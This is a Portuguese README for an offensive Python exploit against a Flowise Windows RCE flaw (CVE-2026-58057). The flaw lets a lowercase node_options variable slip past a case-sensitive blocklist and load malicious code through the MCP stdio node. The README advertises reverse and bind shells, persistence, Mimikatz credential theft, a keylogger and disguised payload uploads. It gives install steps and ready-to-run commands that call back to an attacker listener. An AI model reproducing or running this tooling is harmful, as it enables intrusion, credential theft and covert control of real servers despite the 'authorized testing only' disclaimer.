Exploit de RCE no Windows da Flowise para a CVE-2026-58057. Contorna a validação de variáveis de ambiente através de uma falha de sensibilidade a maiúsculas/minúsculas. Usa node_options para injetar código arbitrário via MCP stdio. Suporta reverse shell, persistência, upload de arquivos e extração de credenciais. Apenas para testes de segurança autorizados.
Este é um exploit de nível de produção para CVE-2026-58057, uma vulnerabilidade crítica de Execução Remota de Código no Flowise em plataformas Windows. A vulnerabilidade decorre da validação de variáveis de ambiente que diferencia maiúsculas de minúsculas e que não consegue bloquear node_options em minúsculas, permitindo que atacantes contornem a lista de bloqueio NODE_OPTIONS e executem código arbitrário por meio da configuração Custom MCP stdio.
O exploit demonstra práticas profissionais de engenharia de software, com arquitetura modular, tratamento abrangente de erros e suporte a múltiplos tipos de payload.
IMPORTANTE: Esta ferramenta é fornecida apenas para testes de segurança autorizados, testes de penetração e fins educacionais. O autor não é responsável por qualquer uso indevido ou dano causado por este software. Sempre obtenha autorização adequada antes de testar qualquer sistema.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
O atacante autentica no Flowise
Cria/Modifica o nó Custom MCP stdio
Injeta a variável de ambiente node_options em minúsculas
Define o valor como --require malicious-loader.js
O Node.js executa o loader quando o MCP stdio é executado
Execução de código arbitrário é alcançada
✅ Reverse Shell - Conecta de volta à máquina do atacante
✅ Bind Shell - Abre porta de escuta no alvo
✅ Execução de Comandos - Executa comandos arbitrários do sistema
✅ Upload de Arquivos - Envia arquivos para o sistema alvo
✅ Persistência - Múltiplos mecanismos de persistência
✅ Coleta de Informações - Coleta informações do sistema
✅ Extração de Credenciais - Integração com Mimikatz
✅ Captura de Tela - Captura telas da área de trabalho
✅ Keylogger - Instala capacidade de registro de teclas
🔐 Múltiplos Métodos de Autenticação - Chave de API ou usuário/senha
🔄 Lógica de Nova Tentativa Automática - Resiliente a problemas de rede
🧹 Autolimpeza - Remove arquivos de loader do alvo
🌐 Multiplataforma - Funciona em Windows/Linux/macOS
🎨 Saída Colorida - Legibilidade aprimorada
📊 Depuração Detalhada - Registro detalhado para solução de problemas
Python 3.6 ou superior
pip (gerenciador de pacotes do Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Opção | Descrição | Exemplo |
|---|---|---|
-t, --target | URL do Flowise (Obrigatório) | http://localhost:3000 |
-k, --api-key | Chave de API do Flowise | flowise_abc123... |
-u, --username | Nome de usuário | admin |
-p, --password | Senha | password123 |
| Opção | Descrição | Exemplo |
|---|---|---|
--payload | Tipo de payload | reverse_shell |
--lhost | Host do listener | 192.168.1.100 |
--lport | Porta do listener | 4444 |
--command | Comando a executar | whoami |
--local-file | Arquivo para enviar | payload.exe |
--remote-path | Caminho remoto de salvamento | C:\\Temp\\update.exe |
| Opção | Descrição |
|---|---|
--interactive | Iniciar shell interativo |
--verbose | Ativar saída de depuração |
--timeout | Tempo limite da requisição em segundos |
--retries | Número de tentativas |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather